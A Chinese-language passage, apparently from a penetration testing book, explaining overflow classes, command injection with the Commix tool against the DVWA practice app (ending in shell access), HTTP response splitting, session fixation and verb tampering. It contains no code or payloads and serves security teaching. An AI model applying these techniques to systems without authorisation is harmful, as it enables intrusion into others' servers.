- 堆栈溢出是比较常见的一种被利用的形式,当使用松散类型的语言如 C++或 ASP.NET 时,开发人员未能在他们的代码中实施至少输入验证和/或堆栈完整性检查(也称为 canary 值)。由于没有对用户输入的类型或大小进行验证,攻击者利用这一点将更长的字符串注入到堆栈中,执行堆栈然后覆盖相邻的内存空间,从而允许恶意代码找到家园;被调用的函数现在指向恶意代码的内存空间顶部。
注意
一些 CPU 能够帮助防御这些溢出,因为它们是更现代的操作系统。确保 Web 应用程序团队在软件开发生命周期规范和设计阶段中指定硬件要求并考虑它们是非常值得的。
-
堆溢出与堆栈溢出类似,只是它们专注于通常不受硬件平台 CPU 保护的空间。堆是在程序调用时动态分配的,攻击者利用这一点通过使用这些宽松的规则来强制溢出,覆盖指针,从而允许黑客重定向 CPU,指向他们自己的恶意代码。鉴于它们在 2000 年代早期就被微软和 Linux 解决了,这些情况相当罕见,但鉴于它们的潜在影响,它们是非常值得检查的。
-
格式字符串溢出利用了代码中使用的系统调用和函数的不当设计。C 和 C++以可以传递多种类型的多个变量而不进行验证而臭名昭著。这些相同的函数属性可能包含对底层函数的控制指令,因此通常会看到格式字符串注入利用先前未使用的那些调用的部分来强制产生意外行为。
-
Unicode 溢出利用了编程语言标准字母表中不存在的字符来触发潜在的溢出。虽然不像堆和栈类型那样常见,但可以使用类似的预防措施来防止它们。
-
整数溢出仅仅是利用了对操作中整数输入的不良验证,使得它们加载了两个变量,这些变量包含了他们知道会导致答案超出分配空间的数字,从而创建了溢出。与 Unicode 一样,对前三种溢出类型的保护应该可以防止整数溢出。
对各种形式的缓冲区溢出进行测试可以包括在工具如 Burp Suite、w3af(w3af.org
)和其他功能齐全的 DAST 套件的扫描中,但 Metasploit 可以帮助制作各种自定义脚本来利用它们。在Primal Security(www.primalsecurity.net/0x0-exploit-tutorial-buffer-overflow-vanilla-eip-overwrite-2/
)上有一个很棒的教程,正如您所看到的,要使合适的缓冲区溢出攻击发生,需要做很多工作。
Commix - 不那么有趣的命令注入
另一方面,命令注入并不是为了注入代码,反射回主机,并改变应用程序的行为。命令注入通过应用程序正常操作中使用的可注入命令找到一个窗口,从而使我们能够看到或接触到后端 Web 或应用程序层服务器。其目标是将额外的命令注入到变量字符串中,以在主机操作系统上运行本地命令,例如copy
命令,重新配置接口,或者最坏的情况,如fdisk
。这不是你典型的喜闹行为 - 这是残酷的事情。在 OWASP OTG(www.owasp.org/index.php/Command_Injection
)中有一个很好的讨论,而工具Commix(Command Injection Exploiter)已经包含在 Kali Linux 中,以确保我们得到了覆盖。
要使用 Commix,您需要 URL(我们在这里使用 DVWA),与您会话相关的 cookie(我再次使用了拦截开启的 Burp),以及您要模糊处理的字段(在本例中是 IP),然后就可以开始了;我很快就获得了 shell 访问权限(如下面的截图所示)!
通过 Commix 获得 shell 访问权限的代码注入
HTTP 完蛋了?
到目前为止,本章讨论的所有攻击都涉及将字符串放置在我们知道可能对后端数据库造成严重破坏的表单字段中。许多网络服务现在根据用户输入和会话状态创建动态标头,并出现了一种新的攻击类型,以利用这可能打开的漏洞。当攻击者下定决心时,他们可以将信息注入到实际上在许多情况下类似于 XSS 的标头中。
例如,HTTP 在其语法上非常严格,它将回车和换行视为字段之间的特殊分隔点。如果 Web 服务器没有适当地拒绝或对这些输入进行消毒,攻击者可能会在其中插入一些内容,以注入他们自己的任意字段并传递他们的有效负载。这种攻击形式称为HTTP 响应拆分。
这类攻击的另一种形式涉及HTTP 会话固定,这是攻击者感知网站对用户进行身份验证并使用会话 ID 的一种方式,但未验证发送会话 ID 的人是谁,因此将任何人,包括攻击者和受害者客户端,都视为合法参与者(Web 服务器无法区分两者)。通过社会工程学,攻击者可以趁机强迫受害者点击一个链接,其中会话 ID 已经被攻击者选择。受害者然后进行身份验证,基本上告诉 Web 服务器这个会话 ID 是有效的。攻击者基本上种下了自己的 cookie,并让受害者为其背书。
注意
HTTP 动词篡改是另一个问题,它利用 HTTP 请求中输入验证的缺乏,并使用动词(POST、HEAD、GET、TRACE、TRACK、PUT、DELETE 等,www.restapitutorial.com/lessons/httpmethods.html
中有很好的介绍)。
这些攻击方法非常新颖和即将到来;除了 Burp 和 Wapati 等套件之外,Kali 中没有专门用于覆盖 HTTP 注入攻击的专用工具。有关更多信息,请访问Watchfire制作的白皮书(www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
)。
摘要
注入攻击种类繁多且致命。鉴于攻击者必须利用这些漏洞的种类、方法和目标的数量之多,动态内容能够得到保护是非常美妙的。这类攻击只能通过警惕和基于最佳实践的分割、净化和持续的渗透测试来预防。
在本章中,我们研究了各种注入攻击类别,其中 SQL 注入很可能是主角。鉴于现代应用框架中广泛使用 SQL,可以理解为什么更多的工具和关注被给予这种注入形式。然而,我们将看到这种情况能持续多久,因为随着处理能力的爆炸和对简化访问和可移植性的需求增加,XML 和 XPath 的使用也在增加。此外,不应忽略更专门的注入技术,因为 LDAP、命令和代码注入缺陷,虽然遇到频率较低,但对于服务器保护不足的公司来说可能是潜在的噩梦。总之,注入攻击可能是耗时和乏味的测试,但对手只需要找到一处漏洞就有可能得手。
在下一章中,我们将更加专注于技术攻击向量——加密缺陷和漏洞。正是在公众意识到这种依赖并坚持隐私和保密的时候,网络正以令人难以置信的速度增长。黑客在许多方面都领先于他们,等待着可以允许他们拦截、修改或暴露数据流内容并背叛网络应用程序和客户之间必须相互信任以正常运行的信任机制。如果你准备好接受一些可怕的东西,那就跟我进入第八章,通过密码学测试来利用信任!